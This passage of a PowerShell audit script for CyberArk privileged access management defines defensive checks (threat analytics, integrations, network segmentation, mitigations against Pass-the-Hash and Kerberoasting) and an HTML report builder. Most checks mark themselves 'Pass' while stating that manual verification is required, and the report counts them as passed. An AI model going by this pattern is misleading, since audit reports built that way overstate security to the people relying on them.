1) Credential theft (T1003), 2) Lateral movement (T1021), 3) Privilege escalation (T1078), 4) Defense evasion (T1070)" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "PTA Deep Dive" -CISControl "PTAD4" ` -CheckName "PTA Rule Coverage" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PTAUEBAIntegration { # PTAD5: PTA UEBA integration Write-AuditLog "Checking PTA UEBA integration (PTAD5)..." -Level Info try { Add-Finding -Category "PTA Deep Dive" ` -CISControl "PTAD5" ` -Finding "PTA UEBA integration" ` -Resource "UEBA Integration" ` -CurrentValue "Manual verification required" ` -ExpectedValue "PTA data integrated with enterprise UEBA" ` -Recommendation "Verify: 1) PTA events forwarded to UEBA, 2) User risk scoring includes PAM data, 3) Cross-platform correlation, 4) Unified investigation workflow" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "PTA Deep Dive" -CISControl "PTAD5" ` -CheckName "PTA UEBA Integration" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PTAAutomatedResponse { # PTAD6: PTA automated response actions Write-AuditLog "Checking PTA automated response (PTAD6)..." -Level Info try { Add-Finding -Category "PTA Deep Dive" ` -CISControl "PTAD6" ` -Finding "PTA automated response actions" ` -Resource "PTA Response" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Automated response for high-confidence detections" ` -Recommendation "Configure: 1) Auto-suspend for credential theft, 2) Session termination for anomalies, 3) SOAR playbook integration, 4) Graduated response based on confidence" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "PTA Deep Dive" -CISControl "PTAD6" ` -CheckName "PTA Automated Response" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region Third-Party Integrations (TPI1-TPI5) function Test-ThirdPartyIntegrations { Write-AuditLog "Running Third-Party Integration Checks..." -Level Info Test-ITSMIntegration Test-SOARIntegration Test-SIEMCorrelation Test-SIEMForwarderHealth Test-IntegrationCredentialHealth } function Test-ITSMIntegration { # TPI1: ITSM (ServiceNow) integration Write-AuditLog "Checking ITSM integration (TPI1)..." -Level Info try { $servicenowUrl = if ($ServiceNowUrl) { $ServiceNowUrl } else { "Not configured" } Add-Finding -Category "Third-Party Integration" ` -CISControl "TPI1" ` -Finding "ITSM integration status" ` -Resource "ServiceNow/ITSM" ` -CurrentValue "ServiceNow URL: $servicenowUrl" ` -ExpectedValue "ITSM integrated for ticketing and approvals" ` -Recommendation "Verify: 1) Privileged access requests create tickets, 2) Approval workflows integrated, 3) Account provisioning automated, 4) Audit trail synchronized" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Third-Party Integration" -CISControl "TPI1" ` -CheckName "ITSM Integration" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-SOARIntegration { # TPI2: SOAR automated response playbooks Write-AuditLog "Checking SOAR integration (TPI2)..." -Level Info try { Add-Finding -Category "Third-Party Integration" ` -CISControl "TPI2" ` -Finding "SOAR playbook integration" ` -Resource "SOAR Platform" ` -CurrentValue "Manual verification required" ` -ExpectedValue "SOAR playbooks for privileged access incidents" ` -Recommendation "Verify: 1) Playbooks for credential compromise, 2) Automated account suspension, 3) Evidence collection automation, 4) Escalation workflows" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Third-Party Integration" -CISControl "TPI2" ` -CheckName "SOAR Integration" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-SIEMCorrelation { # TPI3: SIEM PAM event correlation Write-AuditLog "Checking SIEM correlation (TPI3)..." -Level Info try { $siemUrl = if ($SIEMUrl) { $SIEMUrl } else { "Not configured" } Add-Finding -Category "Third-Party Integration" ` -CISControl "TPI3" ` -Finding "SIEM PAM event correlation" ` -Resource "SIEM" ` -CurrentValue "SIEM URL: $siemUrl" ` -ExpectedValue "PAM events correlated with other security data" ` -Recommendation "Verify: 1) PAM events parsed correctly, 2) Correlation rules for PAM + endpoint, 3) Dashboards for privileged activity, 4) Alert rules for anomalies" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Third-Party Integration" -CISControl "TPI3" ` -CheckName "SIEM Correlation" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-SIEMForwarderHealth { # TPI4: SIEM log forwarder health Write-AuditLog "Checking SIEM forwarder health (TPI4)..." -Level Info try { Add-Finding -Category "Third-Party Integration" ` -CISControl "TPI4" ` -Finding "SIEM log forwarder health" ` -Resource "Log Forwarders" ` -CurrentValue "Manual verification required" ` -ExpectedValue "All forwarders healthy with no backlog" ` -Recommendation "Verify: 1) Syslog/CEF forwarders running, 2) No event queue backlog, 3) Network connectivity to SIEM, 4) Monitoring alerts for forwarder failures" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Third-Party Integration" -CISControl "TPI4" ` -CheckName "SIEM Forwarder Health" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-IntegrationCredentialHealth { # TPI5: Integration credential health Write-AuditLog "Checking integration credential health (TPI5)..." -Level Info try { Add-Finding -Category "Third-Party Integration" ` -CISControl "TPI5" ` -Finding "Integration credential health" ` -Resource "Integration Credentials" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Integration credentials managed and rotated" ` -Recommendation "Verify: 1) Integration accounts stored in CyberArk, 2) Credentials rotated regularly, 3) Least privilege for integrations, 4) Monitoring for integration failures" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Third-Party Integration" -CISControl "TPI5" ` -CheckName "Integration Credential Health" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region Operational Hygiene (OPS1-OPS8) function Test-OperationalHygiene { Write-AuditLog "Running Operational Hygiene Checks..." -Level Info Test-OnboardingQueueMetrics Test-CPMFailureRates Test-PSMSessionMetrics Test-CPMReconciliationBacklog Test-PlatformConnectionErrors Test-VaultUtilization Test-LicenseCompliance Test-ComponentUptime } function Test-OnboardingQueueMetrics { # OPS1: Account onboarding queue metrics Write-AuditLog "Checking onboarding queue (OPS1)..." -Level Info try { $pendingAccounts = Invoke-CyberArkAPI -Endpoint "/API/DiscoveredAccounts?status=pending" -Method "GET" -ErrorAction SilentlyContinue if ($pendingAccounts -and $pendingAccounts.count) { $pendingCount = $pendingAccounts.count if ($pendingCount -gt 100) { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS1" ` -Finding "Large onboarding queue backlog" ` -Resource "Discovery Queue" ` -CurrentValue "$pendingCount accounts pending onboarding" ` -ExpectedValue "Queue regularly processed, <50 pending" ` -Recommendation "Review and onboard pending accounts. Consider: 1) Automated onboarding rules, 2) Regular review cycles, 3) Account ownership assignment" ` -Severity "Medium" } else { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS1" ` -Finding "Onboarding queue status" ` -Resource "Discovery Queue" ` -CurrentValue "$pendingCount accounts pending" ` -ExpectedValue "<50 pending accounts" ` -Severity "Info" ` -Status "Pass" } } else { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS1" ` -Finding "Onboarding queue metrics" ` -Resource "Discovery Queue" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Queue processed regularly" ` -Recommendation "Review: 1) Pending accounts backlog, 2) Onboarding SLAs, 3) Automated onboarding rules" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Operational Hygiene" -CISControl "OPS1" ` -CheckName "Onboarding Queue Metrics" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-CPMFailureRates { # OPS2: CPM password change failure rates Write-AuditLog "Checking CPM failure rates (OPS2)..." -Level Info try { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS2" ` -Finding "CPM password change metrics" ` -Resource "CPM Operations" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Failure rate <5%" ` -Recommendation "Review: 1) Password change success rate, 2) Common failure reasons, 3) Platform connectivity issues, 4) Credential verification failures" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Operational Hygiene" -CISControl "OPS2" ` -CheckName "CPM Failure Rates" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PSMSessionMetrics { # OPS3: PSM session success/failure ratios Write-AuditLog "Checking PSM session metrics (OPS3)..." -Level Info try { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS3" ` -Finding "PSM session metrics" ` -Resource "PSM Sessions" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Session success rate >95%" ` -Recommendation "Review: 1) Session success rate, 2) Connection failures by platform, 3) User experience issues, 4) PSM capacity utilization" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Operational Hygiene" -CISControl "OPS3" ` -CheckName "PSM Session Metrics" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-CPMReconciliationBacklog { # OPS4: CPM reconciliation backlog Write-AuditLog "Checking CPM reconciliation backlog (OPS4)..." -Level Info try { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS4" ` -Finding "CPM reconciliation backlog" ` -Resource "CPM Reconciliation" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Reconciliation failures addressed within SLA" ` -Recommendation "Review: 1) Accounts requiring reconciliation, 2) Age of reconciliation queue, 3) Root cause of failures, 4) Manual verification needed" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Operational Hygiene" -CISControl "OPS4" ` -CheckName "CPM Reconciliation Backlog" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PlatformConnectionErrors { # OPS5: Platform connection errors Write-AuditLog "Checking platform connection errors (OPS5)..." -Level Info try { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS5" ` -Finding "Platform connection errors" ` -Resource "Platform Connectivity" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Platform connectivity healthy" ` -Recommendation "Review: 1) Platforms with connection failures, 2) Network/firewall issues, 3) Target system availability, 4) Credential issues" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Operational Hygiene" -CISControl "OPS5" ` -CheckName "Platform Connection Errors" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-VaultUtilization { # OPS6: Vault utilization and capacity Write-AuditLog "Checking vault utilization (OPS6)..." -Level Info try { $accounts = Invoke-CyberArkAPI -Endpoint "/API/Accounts?limit=1" -Method "GET" -ErrorAction SilentlyContinue if ($accounts -and $accounts.count) { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS6" ` -Finding "Vault account utilization" ` -Resource "Vault Capacity" ` -CurrentValue "Total accounts: $($accounts.count)" ` -ExpectedValue "Within licensed capacity" ` -Recommendation "Monitor vault capacity and plan for growth" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS6" ` -Finding "Vault utilization metrics" ` -Resource "Vault Capacity" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Capacity planning in place" ` -Recommendation "Review: 1) Current vs licensed accounts, 2) Storage utilization, 3) Performance metrics, 4) Growth projections" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Operational Hygiene" -CISControl "OPS6" ` -CheckName "Vault Utilization" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-LicenseCompliance { # OPS7: License compliance Write-AuditLog "Checking license compliance (OPS7)..." -Level Info try { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS7" ` -Finding "License compliance" ` -Resource "Licensing" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Within licensed limits" ` -Recommendation "Verify: 1) User count vs license, 2) Account count vs license, 3) Module entitlements, 4) License renewal planning" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Operational Hygiene" -CISControl "OPS7" ` -CheckName "License Compliance" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-ComponentUptime { # OPS8: Component uptime Write-AuditLog "Checking component uptime (OPS8)..." -Level Info try { $systemHealth = Invoke-CyberArkAPI -Endpoint "/API/ComponentsMonitoringDetails" -Method "GET" -ErrorAction SilentlyContinue if ($systemHealth -and $systemHealth.Components) { $unhealthyComponents = @() foreach ($component in $systemHealth.Components) { if ($component.IsLoggedOn -eq $false -or $component.ComponentStatus -ne "Connected") { $unhealthyComponents += $component.ComponentName } } if ($unhealthyComponents.Count -gt 0) { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS8" ` -Finding "Components with availability issues" ` -Resource "Component Uptime" ` -CurrentValue "Unhealthy: $($unhealthyComponents -join ', ')" ` -ExpectedValue "All components available 99.9%+" ` -Recommendation "Investigate component availability issues. Check: 1) Service status, 2) Network connectivity, 3) Resource utilization, 4) Error logs" ` -Severity "High" } else { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS8" ` -Finding "All components healthy" ` -Resource "Component Uptime" ` -CurrentValue "All components connected" ` -ExpectedValue "Components healthy" ` -Severity "Info" ` -Status "Pass" } } else { Add-Finding -Category "Operational Hygiene" ` -CISControl "OPS8" ` -Finding "Component uptime metrics" ` -Resource "Component Uptime" ` -CurrentValue "Manual verification required" ` -ExpectedValue "99.9% uptime target" ` -Recommendation "Review: 1) Component availability reports, 2) Downtime incidents, 3) SLA compliance, 4) Capacity planning" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Operational Hygiene" -CISControl "OPS8" ` -CheckName "Component Uptime" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region Attack Path Simulation (APS1-APS6) function Test-AttackPathSimulation { Write-AuditLog "Running Attack Path Simulation Checks..." -Level Info Test-WorkstationPAMEscalation Test-PassTheHashSurface Test-NTLMRelayRisks Test-CachedCredentialExtraction Test-KerberoastingExposure Test-PrivilegeEscalationPaths } function Test-WorkstationPAMEscalation { # APS1: Workstation to PAM escalation paths Write-AuditLog "Checking workstation to PAM escalation (APS1)..." -Level Info try { Add-Finding -Category "Attack Path Simulation" ` -CISControl "APS1" ` -Finding "Workstation to PAM escalation paths" ` -Resource "Attack Paths" ` -CurrentValue "Manual verification required" ` -ExpectedValue "No direct paths from workstations to PAM" ` -Recommendation "Review: 1) PAM admin workstation isolation, 2) Jump server requirements, 3) Network segmentation, 4) MFA for PAM access from any workstation" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Attack Path Simulation" -CISControl "APS1" ` -CheckName "Workstation PAM Escalation" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PassTheHashSurface { # APS2: Pass-the-Hash attack surface Write-AuditLog "Checking Pass-the-Hash surface (APS2)..." -Level Info try { Add-Finding -Category "Attack Path Simulation" ` -CISControl "APS2" ` -Finding "Pass-the-Hash attack surface" ` -Resource "Credential Protection" ` -CurrentValue "Manual verification required" ` -ExpectedValue "PtH mitigations in place" ` -Recommendation "Verify: 1) Credential Guard enabled, 2) Protected Users group used, 3) Restricted Admin mode, 4) NTLM restricted where possible" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Attack Path Simulation" -CISControl "APS2" ` -CheckName "Pass-the-Hash Surface" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-NTLMRelayRisks { # APS3: NTLM relay risks Write-AuditLog "Checking NTLM relay risks (APS3)..." -Level Info try { Add-Finding -Category "Attack Path Simulation" ` -CISControl "APS3" ` -Finding "NTLM relay attack risks" ` -Resource "NTLM Security" ` -CurrentValue "Manual verification required" ` -ExpectedValue "NTLM relay mitigations enabled" ` -Recommendation "Verify: 1) SMB signing required, 2) LDAP signing/channel binding, 3) EPA for IIS/Exchange, 4) NTLM restricted via GPO" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Attack Path Simulation" -CISControl "APS3" ` -CheckName "NTLM Relay Risks" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-CachedCredentialExtraction { # APS4: Cached credential extraction resilience Write-AuditLog "Checking cached credential protection (APS4)..." -Level Info try { Add-Finding -Category "Attack Path Simulation" ` -CISControl "APS4" ` -Finding "Cached credential extraction resilience" ` -Resource "Credential Caching" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Cached credentials protected" ` -Recommendation "Verify: 1) WDigest disabled, 2) Cached logons limited (CachedLogonsCount), 3) LSASS protection enabled, 4) Credential Guard deployed" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Attack Path Simulation" -CISControl "APS4" ` -CheckName "Cached Credential Protection" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-KerberoastingExposure { # APS5: Kerberoasting exposure Write-AuditLog "Checking Kerberoasting exposure (APS5)..." -Level Info try { Add-Finding -Category "Attack Path Simulation" ` -CISControl "APS5" ` -Finding "Kerberoasting exposure" ` -Resource "Kerberos Security" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Service accounts protected from Kerberoasting" ` -Recommendation "Verify: 1) gMSAs used where possible, 2) Service account passwords 25+ chars, 3) AES-only encryption, 4) SPNs reviewed regularly" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Attack Path Simulation" -CISControl "APS5" ` -CheckName "Kerberoasting Exposure" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PrivilegeEscalationPaths { # APS6: Privilege escalation paths Write-AuditLog "Checking privilege escalation paths (APS6)..." -Level Info try { Add-Finding -Category "Attack Path Simulation" ` -CISControl "APS6" ` -Finding "Privilege escalation paths" ` -Resource "Escalation Paths" ` -CurrentValue "Manual verification required" ` -ExpectedValue "No uncontrolled escalation paths" ` -Recommendation "Review: 1) Tier model enforcement, 2) Admin account isolation, 3) Service account privileges, 4) BloodHound/Purple Knight analysis" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Attack Path Simulation" -CISControl "APS6" ` -CheckName "Privilege Escalation Paths" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region Supply Chain Integrity (SCI1-SCI5) function Test-SupplyChainIntegrity { Write-AuditLog "Running Supply Chain Integrity Checks..." -Level Info Test-ComponentFileHashes Test-PatchCurrency Test-ThirdPartyLibraries Test-DigitalSignatureValidation Test-ComponentOriginVerification } function Test-ComponentFileHashes { # SCI1: Component file hash validation Write-AuditLog "Checking component file hashes (SCI1)..." -Level Info try { Add-Finding -Category "Supply Chain Integrity" ` -CISControl "SCI1" ` -Finding "Component file hash validation" ` -Resource "File Integrity" ` -CurrentValue "Manual verification required" ` -ExpectedValue "All files match CyberArk published hashes" ` -Recommendation "Verify: 1) Compare file hashes with CyberArk checksums, 2) File integrity monitoring enabled, 3) Alert on unauthorized changes, 4) Baseline after patching" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Supply Chain Integrity" -CISControl "SCI1" ` -CheckName "Component File Hashes" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PatchCurrency { # SCI2: Patch currency verification Write-AuditLog "Checking patch currency (SCI2)..." -Level Info try { $systemHealth = Invoke-CyberArkAPI -Endpoint "/API/ComponentsMonitoringDetails" -Method "GET" -ErrorAction SilentlyContinue if ($systemHealth -and $systemHealth.Components) { $versions = @{} foreach ($component in $systemHealth.Components) { if ($component.ComponentVersion) { $versions[$component.ComponentType] = $component.ComponentVersion } } if ($versions.Count -gt 0) { Add-Finding -Category "Supply Chain Integrity" ` -CISControl "SCI2" ` -Finding "Component versions detected" ` -Resource "Patch Status" ` -CurrentValue "Versions: $($versions.GetEnumerator() | ForEach-Object { "$($_.Key): $($_.Value)" } | Select-Object -First 5 | Join-String -Separator ', ')" ` -ExpectedValue "Current supported version" ` -Recommendation "Verify versions are current per CyberArk security advisories" ` -Severity "Info" ` -Status "Pass" } } else { Add-Finding -Category "Supply Chain Integrity" ` -CISControl "SCI2" ` -Finding "Patch currency verification" ` -Resource "Patch Status" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Components on current supported version" ` -Recommendation "Verify: 1) All components on supported version, 2) Security patches applied, 3) Patch schedule documented, 4) Change management process" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Supply Chain Integrity" -CISControl "SCI2" ` -CheckName "Patch Currency" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-ThirdPartyLibraries { # SCI3: Third-party library vulnerabilities Write-AuditLog "Checking third-party libraries (SCI3)..." -Level Info try { Add-Finding -Category "Supply Chain Integrity" ` -CISControl "SCI3" ` -Finding "Third-party library assessment" ` -Resource "Dependencies" ` -CurrentValue "Manual verification required" ` -ExpectedValue "No vulnerable dependencies" ` -Recommendation "Verify: 1) Dependencies patched for known CVEs, 2) Dependency scanning in place, 3) Log4j/Spring4Shell mitigated, 4) Regular dependency audit" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Supply Chain Integrity" -CISControl "SCI3" ` -CheckName "Third-Party Libraries" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-DigitalSignatureValidation { # SCI4: Digital signature validation Write-AuditLog "Checking digital signatures (SCI4)..." -Level Info try { Add-Finding -Category "Supply Chain Integrity" ` -CISControl "SCI4" ` -Finding "Digital signature validation" ` -Resource "Code Signing" ` -CurrentValue "Manual verification required" ` -ExpectedValue "All executables signed by CyberArk" ` -Recommendation "Verify: 1) All CyberArk binaries are signed, 2) Signatures are valid and not expired, 3) AppLocker/WDAC enforce signing, 4) Alert on unsigned execution" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Supply Chain Integrity" -CISControl "SCI4" ` -CheckName "Digital Signature Validation" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-ComponentOriginVerification { # SCI5: Component origin verification Write-AuditLog "Checking component origin (SCI5)..." -Level Info try { Add-Finding -Category "Supply Chain Integrity" ` -CISControl "SCI5" ` -Finding "Component origin verification" ` -Resource "Installation Source" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Components from verified CyberArk sources" ` -Recommendation "Verify: 1) Installation media from CyberArk portal, 2) Download checksums validated, 3) Installation chain of custody documented, 4) No third-party modifications" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Supply Chain Integrity" -CISControl "SCI5" ` -CheckName "Component Origin Verification" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region Network Segmentation (NSG1-NSG5) function Test-NetworkSegmentation { Write-AuditLog "Running Network Segmentation Checks..." -Level Info Test-VaultNetworkIsolation Test-PSMVaultCommunication Test-PVWABackendSegmentation Test-EastWestMonitoring Test-ComponentNetworkACLs } function Test-VaultNetworkIsolation { # NSG1: Vault network isolation Write-AuditLog "Checking Vault network isolation (NSG1)..." -Level Info try { Add-Finding -Category "Network Segmentation" ` -CISControl "NSG1" ` -Finding "Vault network isolation" ` -Resource "Vault Network" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Vault in dedicated network segment" ` -Recommendation "Verify: 1) Vault in separate VLAN/subnet, 2) Firewall rules restrict access, 3) Only required ports open (1858), 4) No direct internet access" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Network Segmentation" -CISControl "NSG1" ` -CheckName "Vault Network Isolation" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PSMVaultCommunication { # NSG2: PSM to Vault communication restrictions Write-AuditLog "Checking PSM to Vault communication (NSG2)..." -Level Info try { Add-Finding -Category "Network Segmentation" ` -CISControl "NSG2" ` -Finding "PSM to Vault communication" ` -Resource "PSM Network" ` -CurrentValue "Manual verification required" ` -ExpectedValue "PSM restricted to Vault port 1858 only" ` -Recommendation "Verify: 1) PSM only reaches Vault on 1858, 2) No admin access from PSM to Vault, 3) Micro-segmentation between PSM farms, 4) PSM isolated from user workstations" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Network Segmentation" -CISControl "NSG2" ` -CheckName "PSM Vault Communication" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PVWABackendSegmentation { # NSG3: PVWA to backend segmentation Write-AuditLog "Checking PVWA backend segmentation (NSG3)..." -Level Info try { Add-Finding -Category "Network Segmentation" ` -CISControl "NSG3" ` -Finding "PVWA to backend segmentation" ` -Resource "PVWA Network" ` -CurrentValue "Manual verification required" ` -ExpectedValue "PVWA frontend separated from Vault backend" ` -Recommendation "Verify: 1) PVWA in DMZ or frontend segment, 2) Only required ports to Vault, 3) WAF/reverse proxy in front of PVWA, 4) No direct user access to Vault" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Network Segmentation" -CISControl "NSG3" ` -CheckName "PVWA Backend Segmentation" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-EastWestMonitoring { # NSG4: East-West traffic monitoring Write-AuditLog "Checking East-West monitoring (NSG4)..." -Level Info try { Add-Finding -Category "Network Segmentation" ` -CISControl "NSG4" ` -Finding "East-West traffic monitoring" ` -Resource "Internal Traffic" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Lateral movement detection in place" ` -Recommendation "Verify: 1) Network flow logging between segments, 2) Anomaly detection for lateral movement, 3) Internal firewall/micro-segmentation, 4) NDR solution coverage" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Network Segmentation" -CISControl "NSG4" ` -CheckName "East-West Monitoring" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-ComponentNetworkACLs { # NSG5: Component-specific network ACLs Write-AuditLog "Checking component network ACLs (NSG5)..." -Level Info try { Add-Finding -Category "Network Segmentation" ` -CISControl "NSG5" ` -Finding "Component-specific network ACLs" ` -Resource "Network ACLs" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Least privilege network access per component" ` -Recommendation "Verify: 1) Each component has minimal required access, 2) CPM restricted to managed targets, 3) PSM only reaches session targets, 4) Regular ACL review" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Network Segmentation" -CISControl "NSG5" ` -CheckName "Component Network ACLs" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #endregion #region Reporting function Get-SeverityColor { param([string]$Severity) switch ($Severity) { "Critical" { return "#d63031" } "High" { return "#e17055" } "Medium" { return "#fdcb6e" } "Low" { return "#74b9ff" } "Info" { return "#81ecec" } default { return "#dfe6e9" } } } function Get-StatusIcon { param([string]$Status) switch ($Status) { "Pass" { return "✔" } "Fail" { return "✘" } default { return "●" } } } function New-HTMLReport { Write-AuditLog "Generating HTML report..." -Level Info $reportDate = Get-Date -Format "yyyy-MM-dd HH:mm:ss" $reportFileName = "CyberArk_Security_Audit_$(Get-Date -Format 'yyyyMMdd_HHmmss').html" $reportPath = Join-Path $OutputPath $reportFileName # Calculate statistics $criticalCount = ($script:Findings | Where-Object { $_.Severity -eq "Critical" -and $_.Status -eq "Fail" }).Count $highCount = ($script:Findings | Where-Object { $_.Severity -eq "High" -and $_.Status -eq "Fail" }).Count $mediumCount = ($script:Findings | Where-Object { $_.Severity -eq "Medium" -and $_.Status -eq "Fail" }).Count $lowCount = ($script:Findings | Where-Object { $_.Severity -eq "Low" -and $_.Status -eq "Fail" }).Count $passCount = ($script:Findings | Where-Object { $_.Status -eq "Pass" }).Count $skippedCount = $script:SkippedChecks.Count $naCount = ($script:SkippedChecks | Where-Object { $_.Type -eq "NotApplicable" }).Count $errorCount = ($script:SkippedChecks | Where-Object { $_.Type -eq "Error" }).Count # Risk score calculation $riskScore = ($criticalCount * 40) + ($highCount * 20) + ($mediumCount * 5) + ($lowCount * 1) $riskRating = if ($riskScore -eq 0) { "Excellent" } elseif ($riskScore -lt 20) { "Good" } elseif ($riskScore -lt 50) { "Fair" } elseif ($riskScore -lt 100) { "Poor" } else { "Critical" } $riskColor = switch ($riskRating) { "Excellent" { "#00b894" } "Good" { "#00cec9" } "Fair" { "#fdcb6e" } "Poor" { "#e17055" } "Critical" { "#d63031" } } $html = @" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CyberArk Security Audit Report

CyberArk Security Audit Report

Comprehensive security configuration assessment against CIS Benchmark and Vendor Best Practices

Target: $PVWA Date: $reportDate Total Findings: $($script:Findings.Count)
$criticalCount
Critical
$highCount
High
$mediumCount
Medium
$lowCount
Low
$passCount
Passed
$skippedCount
Skipped ($naCount N/A, $errorCount Errors)
$riskScore

Risk Rating: $riskRating

Based on weighted severity scores of all findings.

  • Total Safes Audited$($script:AuditStats.TotalSafes)
  • Total Accounts Audited$($script:AuditStats.TotalAccounts)
  • Total Users Audited$($script:AuditStats.TotalUsers)
  • Unmanaged Accounts$($script:AuditStats.UnmanagedAccounts)
  • Pending Discovery Accounts$($script:AuditStats.PendingAccounts)
Executive Summary

Overall Security Posture

$riskRating

Based on comprehensive analysis of $($script:Findings.Count) security checks across the CyberArk PAM infrastructure.

$(if ($script:Findings.Count -gt 0) { [math]::Round(($passCount / $script:Findings.Count) * 100, 1) } else { 0 })% of checks passed

Audit Scope

  • Target System$PVWA
  • Safes Analyzed$($script:AuditStats.TotalSafes)
  • Accounts Analyzed$($script:AuditStats.TotalAccounts)
  • Users Analyzed$($script:AuditStats.TotalUsers)
  • Platforms Analyzed$($script:AuditStats.TotalPlatforms)

Immediate Attention Required

$criticalCount

Critical findings require immediate remediation within 24-48 hours to prevent potential security compromise.

Priority Remediation

$highCount

High severity findings should be addressed within 1 week to maintain security posture.

Key Risks & Immediate Recommendations
"@ # Add key risks $keyRisks = $script:Findings | Where-Object { $_.Severity -in @("Critical", "High") -and $_.Status -eq "Fail" } | Select-Object -First 10 if ($keyRisks.Count -gt 0) { $html += @"

